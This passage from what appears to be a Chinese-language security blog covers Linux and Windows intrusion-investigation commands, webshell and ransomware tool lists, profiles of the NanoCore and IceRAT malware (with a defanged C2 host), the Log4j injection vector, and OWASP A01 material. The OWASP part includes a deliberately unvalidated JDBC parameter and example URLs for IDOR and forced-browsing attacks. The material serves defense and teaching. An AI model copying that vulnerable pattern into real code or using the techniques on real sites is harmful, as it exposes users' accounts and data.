(1)檢查系統安全日誌

一般來說,可以通過檢查Windows安全日誌來獲悉賬號登錄情況,比如成功/失敗的次數。

LogParser.exe  -i:EVT –o:DATAGRID "SELECT  EXTRACT_TOKEN(Strings,10,'|')  as EventType, EXTRACT_TOKEN(Strings,5,'|')  as user, count(EXTRACT_TOKEN(Strings,19,'|')) as Times,EXTRACT_TOKEN(Strings,19,'|')  as LoginIp FROM F:\security.evtx where EventID=4625 GROUP BY Strings"图片

(2)歷史命令記錄

高版本Powershell會記錄PowerShell的命令,所有的PowerShell命令將會保存在固定位置:

%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

查看PowerShell歷史記錄:

Get-Content (Get-PSReadlineOption).HistorySavePath

默認Powershell v5支持,Powershell v3和Powershell v4,需要安裝Get-PSReadlineOption後才可以使用。

二、Linux入侵排查

01、檢查系統賬號

從攻擊者的角度來說,入侵者在入侵成功後,往往會留下後門以便再次訪問被入侵的系統,而創建系統賬號是一種比較常見的後門方式。在做入侵排查的時候,用戶配置文件/etc/passwd和密碼配置文件/etc/shadow是需要去重點關注的地方。

(1)查詢特權用戶特權用戶(uid 為0)

awk -F: '$3==0{print $1}' /etc/passwd

(2)查詢可以遠程登錄的帳號信息

awk '/\$1|\$6/{print $1}' /etc/shadow

(3)除root帳號外,其他帳號是否存在sudo權限。如非管理需要,普通帳號應刪除sudo權限

more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

(4)禁用或刪除多餘及可疑的帳號

usermod -L user    禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头userdel user       删除user用户userdel -r user    将删除user用户,并且将/home目录下的user目录一并删除

(5)當前登錄當前系統的用戶信息

who     查看当前登录用户(tty本地登陆  pts远程登录)w       查看系统信息,想知道某一时刻用户的行为uptime  查看登陆多久、多少用户,负载

02、檢查異常端口

(1)使用netstat 網絡連接命令,分析可疑端口、IP、PID等信息。

netstat -antlp|more

(2)如發現異常的網絡連接需要持續觀察,可抓包分析

tcpdump -c 10 -q   //精简模式显示 10个包

03、檢查可疑進程

(1)使用ps命令列出系統中當前運行的那些進程,分析異常的進程名、PID,可疑的命令行等。

ps aux / ps -ef

(2)通過top命令顯示系統中各個進程的資源佔用狀況,如發現資源佔用過高

top

(3)如發現異常,可使用一下命令進一步排查:

查看该进程启动的完整命令行: ps eho command -p $PID查看该进程启动时候所在的目录: readlink /proc/$PID/cwd查看下pid所对应的进程文件路径:ls -l /proc/$PID/exe查看该进程启动时的完整环境变量: strings -f /proc/1461/environ | cut -f2 -d ''列出该进程所打开的所有文件: lsof -p $PID

04、檢查系統服務

Linux系統服務管理,CentOS7使用systemd控制 CentOS6之前使用chkconfig控制。

(1)對於systemd服務管理器來說,可以通過下述方式查看開機自啟的服務:

systemctl list-unit-files --type=service | grep "enabled"

(2)chkconfig就是CentOS6以前用來控制系統服務的工具,查看服務自啟動狀態:

chkconfig  --list  chkconfig --list | grep "3:on\|5:on"

05、檢查開機啟動項

(1)檢查啟動項腳本

more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

(2)例子:當我們需要開機啟動自己的腳本時,只需要將可執行腳本丟在/etc/init.d目錄下,然後在/etc/rc.d/rc*.d中建立軟鏈接即可

ln -s /etc/init.d/sshd /etc/rc.d/rc3.d/S100ssh

此處sshd是具體服務的腳本文件,S100ssh是其軟鏈接,S開頭代表加載時自啟動;如果是K開頭的腳本文件,代表運行級別加載時需要關閉的。

06、檢查計劃任務

利用計劃任務進行權限維持,可作為一種持久性機制被入侵者利用。檢查異常的計劃任務,需要重點關注以下目錄中是否存在惡意腳本。

/var/spool/cron/* /etc/crontab/etc/cron.d/*/etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*

07、檢查異常文件

1、查看敏感目錄,如/tmp目錄下的文件,同時注意隱藏文件夾,以“..”為名的文件夾具有隱藏屬性

2、得到發現WEBSHELL、遠控木馬的創建時間,如何找出同一時間範圍內創建的文件?

可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件

3、針對可疑文件可以使用stat進行創建修改時間。

4、可能會被替換的命令為:ps、netstat、lsof、ss等常用命令,這些命令一般會被黑客放在/usr/bin/dpkg目錄下。如果我們發現存在此目錄,基本上可以斷定係統被入侵了。

08、檢查歷史命令

一般而言,入侵者獲取shell之後,會執行一些系統命令從而在主機上留下痕跡,我們可以通過history命令查詢shell命令的執行歷史。

(1)查詢某個用戶在系統上執行了什麼命令

使用root用户登录系统,检查/home目录下的用户主目录的.bash_history文件

(2)默認情況下,系統可以保存1000條的歷史命令,並不記錄命令執行的時間,根據需要進行安全加固。

a)保存1万条命令sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profileb)在/etc/profile的文件尾部添加如下行数配置信息:######jiagu history xianshi#########USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND="history -a"######### jiagu history xianshi ##########c)source /etc/profile让配置生效

09、檢查系統日誌

在Linux上一般跟系統相關的日誌默認都會放到/var/log下面,若是一旦出現問題,用戶就可以通過查看日誌來迅速定位,及時解決問題。常用日誌文件如下:

/var/log/btmp:记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看。/var/log/lastlog:记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看。/var/log/wtmp:永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看。/var/log/utmp:记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询。/var/log/secure:记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

一般,我們需要重點去關注secure安全日誌,檢查系統錯誤登陸日誌,統計IP重試次數,成功登錄的時間、用戶名和ip,確認賬號是否存在暴力破解或異常登錄的情況。

1、定位有多少IP在爆破主机的root帐号:grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
定位有哪些IP在爆破:grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破用户名字典是什么? grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
2、登录成功的IP有哪些:grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
登录成功的日期、用户名、IP:grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
3、增加一个用户kali日志:Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali, shell=/bin/bashJul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali#grep "useradd" /var/log/secure
4、删除用户kali日志:Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'# grep "userdel" /var/log/secure
5、su切换用户:Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)sudo授权执行:sudo -lJul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

三、常見Webshell查殺工具

D盾:

http://www.d99net.net

百度WEBDIR+

https://scanner.baidu.com

河馬

https://www.shellpub.com

Web Shell Detector

http://www.shelldetector.com

CloudWalker(牧雲)

https://webshellchop.chaitin.cn
深度学习模型检测PHP Webshell
http://webshell.cdxy.me

PHP Malware Finder

https://github.com/jvoisin/php-malware-finder

findWebshell

https://github.com/he1m4n6a/findWebshell

在線Webshell查殺工具

http://tools.bugscaner.com/killwebshell

四、如何發現隱藏的Webshell後門

那麼多代碼裡不可能我們一點點去找後門,另外,即使最好的Webshell查殺軟件也不可能完全檢測出來所有的後門,這個時候我們可以通過檢測文件的完整性來尋找代碼中隱藏的後門。

文件MD5校驗

絕大部分軟件,我們下載時都會有MD5文件,這個文件就是軟件開發者通過md5算法計算出該如軟件的“特徵值”,下載下來後,我們可以對比md5的值,如果一樣則表明這個軟件是安全的,如果不一樣則反之。

Linux中有一個命令:md5sum可以查看文件的md5值,同理,Windows也有命令或者工具可以查看文件的md5值

图片

Diff命令

Linux中的命令,可以查看两个文本文件的差异

文件對比工具

Beyond Compare
WinMerge

五、勒索病毒

勒索病毒搜索引擎

360:http://lesuobingdu.360.cn
腾讯:https://guanjia.qq.com/pr/ls
启明:https://lesuo.venuseye.com.cn
奇安信:https://lesuobingdu.qianxin.com
深信服:https://edr.sangfor.com.cn/#/information/ransom_search

勒索軟件解密工具集

腾讯哈勃:https://habo.qq.com/tool
金山毒霸:http://www.duba.net/dbt/wannacry.html
火绒:http://bbs.huorong.cn/forum-55-1.html
瑞星:http://it.rising.com.cn/fanglesuo/index.html
Nomoreransom:https://www.nomoreransom.org/zh/index.html
MalwareHunterTeam:https://id-ransomware.malwarehunterteam.com
卡巴斯基:https://noransom.kaspersky.com
Avast:https://www.avast.com/zh-cn/ransomware-decryption-tools
Emsisoft:https://www.emsisoft.com/ransomware-decryption-tools/free-download
Github勒索病毒解密工具收集汇总:https://github.com/jiansiting/Decryption-Tools

六、公眾號內以往介紹的文章工具

1、《工具:Windows安全檢查SeatBelt

2、《工具:Linux安全檢查GScan

資料來源:https://mp.weixin.qq.com/s/7zleF-HWBmN5IHFOsn8HWA

分類
Information Security

Log4j

Fadi分享這張圖很棒!log4j這次遇到injection攻擊,圖示展示注入LDAP語法。主要是在user-agent這個HTTP header注入語法,實在太簡單,又太厲害了!

分類
Information Security

EDR、NDR、XDR、MDR – 檢測和響應的不同概念

“威脅檢測和響應”現在被認為是保護企業網絡不可或缺的手段。由於環境規模大,需求日益複雜,因此應盡可能主動、快速、高效、自動地發現或預防潛在的危險和威脅,並恢復或清理相應的系統。

一組三個字母可以隱藏市場上提供的幾種類型的“檢測和響應”模型。這些首字母縮略詞代表什麼?一種解決方案與另一種解決方案的區別是什麼?

以下是您需要了解的內容的概述。

EDR

…代表’端點檢測和響應’。連接到網絡的每台設備都代表來自 Internet 的威脅的潛在攻擊媒介,並且這些連接中的每一個都是通往您的數據的潛在網關。一般而言,EDR 解決方案從端點收集數據,使用它來識別潛在威脅,並提供有用的方法來調查和響應這些潛在威脅——現代解決方案甚至可以通過後續報告實現自動化。

  • 範圍:端點和主機
  • 意圖:端點/接入區域保護免受滲透、監控和緩解、漏洞評估、警報和響應
  • 方法:惡意行為、攻擊指標 (IoA)、妥協指標 (IoC)、簽名、機器學習
  • 挑戰:高級持續威脅 (APT)、勒索軟件、惡意腳本等。

NDR

…是“網絡檢測和響應”。這是從傳統的網絡安全演變而來的,是 NTA(網絡流量分析)的一個子領域。它確保全面了解通過網絡的已知和未知威脅。這些解決方案通常提供集中的、基於機器的網絡流量分析和響應解決方案,包括高效的工作流程和自動化。網絡中的定位和機器學習的幫助提供了對網絡的全面洞察和分析,以識別和消除特別是橫向運動。

  • 範圍:網絡和設備間流量
  • 意圖:網絡流量的可見性/透明度、已知和未知威脅和橫向移動的檢測、警報和響應
  • 方法:攻擊指標 (IoA)、異常檢測、用戶行為、機器學習
  • 挑戰:高級攻擊和入侵、無惡意軟件攻擊

MDR

…代表’託管檢測和響應‘。這裡的重點不是技術,而是服務。作為 MDR 的一部分,客戶將他們的安全運營外包,並從全年、24 小時的可靠安全中受益。

安全提供商為他們的 MDR 客戶提供訪問他們專門從事網絡監控、事件分析和安全事件響應的安全分析師和工程師池的權限。

由於所需的技能和資源,該服務在SOC(安全運營中心)和 SIEM(安全信息和事件管理)領域尤其受歡迎。

  • 範圍:組織
  • 意向:安全專業知識外包、安全信息集中、高質量諮詢和安全合規
  • 方法:通過各種接口(API、日誌、DataLake 等)集成客戶系統
  • 挑戰:組織內缺乏安全技能/資源、xDR 工具的部署、日常安全的簡化:警報/事件的處理/最小化

探索耐多藥

XDR

…借助更強大的人工智能和自動化方法,擴展了 EDR 的潛力,因此“擴展檢測和響應”。

XDR 不僅集成端點,而且通過超越單向量點解決方案,將設備間流量以及用於分析和評估的應用程序包括在內,從而提供對企業網絡的可見性。

由此產生的海量數據庫/數據湖實現了基於機器的精確分析和高效檢測,主要是通過使用部署的組件對數據進行深度集成和關聯。

結合使用SIEM,可以進一步增強這種相關性和可見性。可以向指示和事件提供進一步的(元)數據,以促進惡意軟件的緩解(攻擊預防)和/或補救(攻擊後系統的恢復)。

  • 範圍:端點、主機、網絡和設備間流量、應用程序
  • 意圖:多個安全級別(網絡、端點、應用程序)的可見性/透明度、在橫向級別檢測已知和未知威脅,包括所有組件、整體監控和緩解、漏洞評估、警報和響應、事件的簡化和整合,以及活動和有針對性的反應
  • 方法:機器學習、攻擊指標 (IoA)、異常檢測、用戶行為、惡意行為、妥協指標
  • 挑戰:製造商的集成可能性/接口、透明度差距、部分 EDR 典型和 NDR 典型挑戰

資料來源:https://www.nomios.com/news-blog/edr-ndr-xdr-mdr/

分類
Information Security

[專訪] 資訊安全治理(Governance) vs 資訊安全管理(Management): 為什麼需要ISO 27014?

隨著資料數位化,大數據、AI分析等技術相繼被各企業、政府單位採用,近年來企業內的資安單位,已從支援角色變成重要策略單位,單就國際標準ISO 27001資訊安全管理系統,逐漸無法完整凸顯企業競爭力。2013年發布的ISO 27014:2013資訊安全治理標準,將資訊安全「管理」進階至「治理」層級,將成為5G及雲端時代下重要的稽核標準。

從資安「管理」進階到資安「治理」

國際專業驗證機構,SGS驗證及優化事業群產品經理劉士弘,談到「過去組織通過ISO 27001驗證是魅力品質,但現在看來僅只是基本品質。」多數組織的資訊安全管理的範圍多著重於資訊單位,但若導入「治理(Governance)」的概念,需要考量的範圍與情境會豐富而且實際許多,例如除了一般常見的資訊相關風險外,就組織營運角度,也許更應該將財務、法律責任、客戶、合作夥伴、產品或服務研發、企業聲譽及形象、客戶及伙伴的信任、營收…等與組織營運策略方向直接相關的因素及風險納入考慮。

ISO 27014六大原則、五大流程

當層級提高到資安治理,資訊安全這件事不再只是由單一資訊單位或是少數單位來主導和參與,而是應該因應整個組織的策略、目標、方向與優先順序來與組織內各功能、各部門協同運作,而運作的方向須與組織營運方向一致,呈現的績效也須與組織營運績效連結且相符。

針對如何達成資訊安全治理,ISO 27014提出了「六大原則」以及「五大流程」。

六大原則包含:

  1. 建立全組織資訊安全(Establish organisation-wide information security)。
  2. 採用基於風險作法(Adopt a risk-based approach)。
  3. 設定投資決策方向(Set the direction of investment decisions)。CapEx和營運支出OpEx流程,以確保最佳化資訊安全投資以支援組織目標。
  4. 確保內、外部要求一致性(Ensure conformance with internal and external requirements)。
  5. 培養安全良好的環境(Foster a security-positive environment)。
  6. 審查相關營運成果績效(Review performance in relation to business outcomes)。 

欲達成上述六項原則, ISO 27014明定五項流程。

  1. 評估(Evaluate)。
  2. 指導(Direct)。
  3. 監視(Monitor)。
  4. 溝通(Communicate)。
  5. 保證(Assure)。 

劉士弘補充說道「政府2018年頒布的資通安全管理法,處處皆存在資安治理概念,例如:重視高階長官的參與度,要求組織投注一定比例的經費預算與人力配置。該法也將提升組織資安意識納入,強調橫向情資分享、縱向溝通、回報與監督,推行資安治理成熟度的評估等。」

資安觀念要站到前線

劉士弘說,ISO 27014主要涉及治理層面,管理階層愈高,代表跨產業的可能性愈大,整體來說,這項標準是比較通用的。但一些風險比較高的產業,或許可優先考慮滿足ISO 27014國際標準,包括高科技產業、醫療產業、金融產業、有機密資料的公務機關、關鍵基礎設施…等,劉士弘建議這些產業「要儘快將資安治理思維導入組織,以更宏觀地發現與因應可能的風險。」

席間SGS驗證及企業優化事業群部經理何星翰說,若數位智慧製造廠商參考遵循ISO 27014將資安「管理」拉高至「治理」層級後,許多IoT許多設備與應用可能發生的資安問題將可進行較為合適的處理方案。他說,目前部份廠商將智慧醫療、智慧家電系統賣給醫療院所或家庭後,由資訊單位單獨面對及管理IoT設備安全問題,銷售、設計製造或客服部門並未參與,若仍用傳統家電服務概念進行管理,而不是企業治理以涵蓋整體服務生命週期,恐發生數據外洩,隱私遭侵犯等問題。

因此,「資安觀念要站到前線」,相關業務與售後服務單位,需提升IoT安全意識,高階管理也要展現重視資安之承諾及決心,跨部門協調及整合,以整體強化資安成熟度。
 
何星翰說,2021年在資安上確有不少重要議題,如資安法修法,ISO 27001改版,「一旦改版,國內預估有800至900張證書,都需在兩、三年內完成轉版。」此外,金管會發佈金融資安行動方案,保險公司、證券業須導入資安管理系統及營運持續管理系統等,國防產業鏈是否能做到美國國防部要求的乾淨供應鏈網路,與資安相關人才需求及培訓,都是令人關注的資安議題。

資料來源:https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9023

分類
Information Security

NanoCore 惡意軟件信息

概要

NanoCore 遠程訪問木馬 (RAT) 於 2013 年首次在地下論壇上出售時被發現。該惡意軟件具有多種功能,例如鍵盤記錄器、密碼竊取器,可以遠程將數據傳遞給惡意軟件操作員。它還能夠篡改和查看來自網絡攝像頭的鏡頭、屏幕鎖定、下載和盜竊文件等。

當前的 NanoCore RAT 正在通過利用社會工程的惡意垃圾郵件活動傳播,其中電子郵件包含虛假的銀行付款收據和報價請求。這些電子郵件還包含帶有 .img 或 .iso 擴展名的惡意附件。磁盤映像文件使用 .img 和 .iso 文件來存儲磁盤或光盤的原始轉儲。另一個版本的 NanoCore 也在利用特製 ZIP 文件的網絡釣魚活動中分發,該 ZIP 文件旨在繞過安全電子郵件網關。某些版本的 PowerArchiver、WinRar 和較舊的 7-Zip 可以提取惡意 ZIP 文件。被盜信息被發送到惡意軟件攻擊者的命令和控制 (C&C) 服務器。

此 RAT 收集以下數據並將其發送到其服務器:

  • 瀏覽器的用戶名和密碼
  • 文件傳輸協議 (FTP) 客戶端或文件管理器軟件存儲的帳戶信息
  • 流行郵件客戶端的電子郵件憑據

能力:

  • 信息竊取
  • 後門命令
  • 漏洞利用
  • 禁用使用能力

影響:

  • 危害系統安全 – 具有可以執行惡意命令的後門功能
  • 侵犯用戶隱私 – 收集用戶憑據、記錄擊鍵並竊取用戶信息

感染詳情:

樣本垃圾郵件 – 銀行付款收據附件垃圾郵件

MITRE ATT & CK 矩陣

資料來源:https://success.trendmicro.com/tw/solution/1122912-nanocore-malware-information

分類
Information Security

IceRAT 惡意軟件

什麼是 IceRAT 惡意軟件?

儘管它的名字,IceRAT 與其說是遠程訪問木馬,不如說是一個後門。它的主要功能是針對連鎖感染和額外的惡意軟件下載,而缺少傳統的 RAT 功能(例如命令執行)。自 2020 年 1 月被發現以來,IceRAT 成功地用大量信息竊取程序、密碼挖掘程序、鍵盤記錄程序和剪報程序感染了受害者。值得注意的是,惡意軟件主要通過垃圾郵件活動和木馬化“破解程序”進行傳播。例如,第一個檢測到的 IceRAT 版本通過包含用於 CryptoTab 瀏覽器的木馬軟件下載的惡意文件感染受害者。IceRAT 的主機和 C2 服務器 hxxp://malina1306.zzz(.)com.ua 位於西里爾文網站上,這可能表明 IceRAT 開發人員可能來自東歐或俄羅斯。

IceRAT 後門規避策略

IceRAT 的深入分析表明,它是有史以來第一個用 JPHP 編寫的惡意軟件,JPHP 是一種運行在 Java VM 上的 PHP 實現。因此,IceRAT 依賴於 .phb 文件而不是傳統的 Java .class 文件。由於 .php 文件通常不受 AV 引擎支持,因此這種特性允許威脅在 VirusTotal 上達到極低的檢測率。另一個有助於成功規避的不常見功能是 IceRAT 的架構。該實現高度分散,避免將所有功能放在一個文件中。特別是,IceRAT 惡意軟件使用多個文件分別執行每個信號功能。因此,萬一下載器組件被發現,它可能被認為是良性的,因為缺少惡意內容。

資料來源:https://socprime.com/blog/icerat-malware-detection-catch-me-if-you-can/

分類
Information Security

帳號填充(Credential Stuffing)

密碼猜測攻擊手法演進的4種型態

攻擊者在嘗試猜測出帳號密碼,進而取得帳號控制權的方式,依據方法的精細程度,可區分成4種──從早期的暴力破解和字典攻擊,後來為了避免被受害單位察覺,並遭到系統鎖定,陸續出現了密碼潑灑與帳號填充攻擊手法。資料來源:ForceShield,iThome整理,2019年5月

資料來源:https://www.ithome.com.tw/news/131019

分類
Information Security

OWASP Top 10-A01:2021 – 權限控制失效

A01:2021 – 權限控制失效

對照因素

可對照 CWEs 數量最大發生率平均發生率最大覆蓋範圍平均覆蓋範圍平均加權弱點平均加權影響出現次數所有相關 CVEs 數量
3455.97%3.81%94.55%47.72%6.925.93318,48719,013

概述

從第五名晋升至第一名,94% 的應用程式都對中斷的存取控制進行了某種形式的測試。著名 的 CWE 包括 CWE-200:將敏感資訊暴露給未經授權的演員CWE-201:通過發送資料 和 CWE-352暴露敏感資訊:跨站請求偽造

描述

存取控制強化政策,使得用戶不能採取在預期權限之外的行動。故障通常會導致未經授權 的資訊洩露、修改或破壞所有資料,或執行超出用戶限制的業務功能。 常見的存取控制弱點包括:

  • 通過修改URL、內部應用程式狀態或HTML頁面,或僅使用自定義API攻擊工具來繞過存取控制檢查。
  • 容許主鍵被更改為其他用戶的記錄,允許查看或編輯其他人的帳戶。
  • 特權提升。未登入即成為用戶,或以用戶身份登入即成為管理員。
  • 中繼資料操作,例如重放或篡改JSON網站令牌(JWT)之存取控制令牌,或被操縱以提升特權或濫用 JWT失效的cookie或隱藏欄位。
  • CORS錯誤配置允許未經授權的API存取。
  • 以未經身份驗證的用戶身份強制瀏覽已驗證的頁面或以標準用戶身份存取特權頁面。 存取缺少存取控制的API以進行POST、PUT 和 DELETE操作。

如何預防

存取控制僅在受信任的伺服器端代碼或無伺服器的API有效果,攻擊者無法修改這裏的存取控制檢查或中繼資料。

  • 除公開資源外,以拒絕為預設值。
  • 一次性地建置存取控制機制,之後在整個應用程式中重複使用它們,包括最大限度地減少使用CORS。
  • 模型的存取控制措施應該強化記錄所有權,而不是讓用戶可以創建、讀取、更新或刪除任何記錄。
  • 獨特的應用程式業務限制要求應由領域模型予以強化。
  • 停用Web伺服器目錄列表,並確保檔案中繼資料(例如,.git)和備份檔案不在web根目錄中。
  • 記錄存取控制失效,並在適當的時間警示管理員(例如,重覆性失效)。
  • 對API和控制器存取進行流量限制,以最小化自動攻擊工具所帶來的損害。
  • JWT令牌於登出後,在伺服器端應使其失效。

開發人員和QA品保人員應納入與功能有關之存取控制的單元和整合測試。

攻擊情境範例

情境 #1: 應用程式在存取帳戶資訊的SQL呼叫中使用未經驗證的資料:

pstmt.setString(1, request.getParameter(“acct”));

ResultSet results = pstmt.executeQuery( );

攻擊者只需修改瀏覽器的“acct”參數即可發送他們想要的任何帳號。如果沒有正確驗證, 攻擊者可以存取任何用戶的帳戶。

https://example.com/app/accountInfo?acct=notmyacct

情境#2: 攻擊者僅強迫瀏覽某些目標網址。存取管理頁面需要管理員權限。

https://example.com/app/getappInfo

https://example.com/app/admin_getappInfo

如果未經身份驗證的用戶可以存取任一頁面,那就是一個缺陷。 如果一個非管理員可以存取管理頁面,這也是一個缺陷。

參考

對應的CWE列表

CWE-22 不當限制受限目錄的路徑名稱(路徑遍訪)

CWE-23 相對路徑遍訪

CWE-35 路徑遍訪: ‘…/…//’

CWE-59 檔案存取前不當的路徑解析 (‘連結指向’)

CWE-200 將敏感資訊曝露給未經授權的行為者

CWE-201 經由發送的資料曝露敏感資訊

CWE-219 在網站根目錄下存放敏感資料

CWE-264 權限、特權和存取控制(不應再使用)

CWE-275 權限問題

CWE-276 不正確的預設權限

CWE-284 不當的存取控制

CWE-285 不當的授權

CWE-352 跨站請求偽造 (CSRF)

CWE-359 將私有的個人資訊曝露給未經授權的行為者

CWE-377 不安全的暫存檔案

CWE-402 私有資源輸入新領域(“資源洩漏”)

CWE-425 直接請求(“強制瀏覽”)

CWE-441 意外代理或中介(“困惑的代理”)

CWE-497 將敏感系統資訊曝露給未經授權的控制領域

CWE-538 將敏感資訊插入外部可存取的檔案或目錄

CWE-540 原始程式中包含敏感資訊

CWE-548 透過列示目錄而曝露資訊

CWE-552 外部各方可存取的檔案或目錄

CWE-566 通過用戶控制的 SQL 主鍵繞過授權

CWE-601 URL重新導向至不受信任的站台(“開放而不受限的重新導向”)

CWE-639 通過用戶控制的金鑰繞過授權

CWE-651 曝露包含敏感資訊的WSDL檔案

CWE-668 資源曝露於錯誤領域

CWE-706 使用被不正確解析的名稱或參考

CWE-862 缺少授權

CWE-863 不正確的授權

CWE-913 不當的動態管理的代碼資源控制

CWE-922 不安全儲存的敏感資訊

CWE-1275 具有不當SameSite屬性設定的敏感Cookie

資料來源:https://github.com/ninedter/Top10/blob/2021-zhtw/2021/docs/A01_2021-Broken_Access_Control.zh_TW.md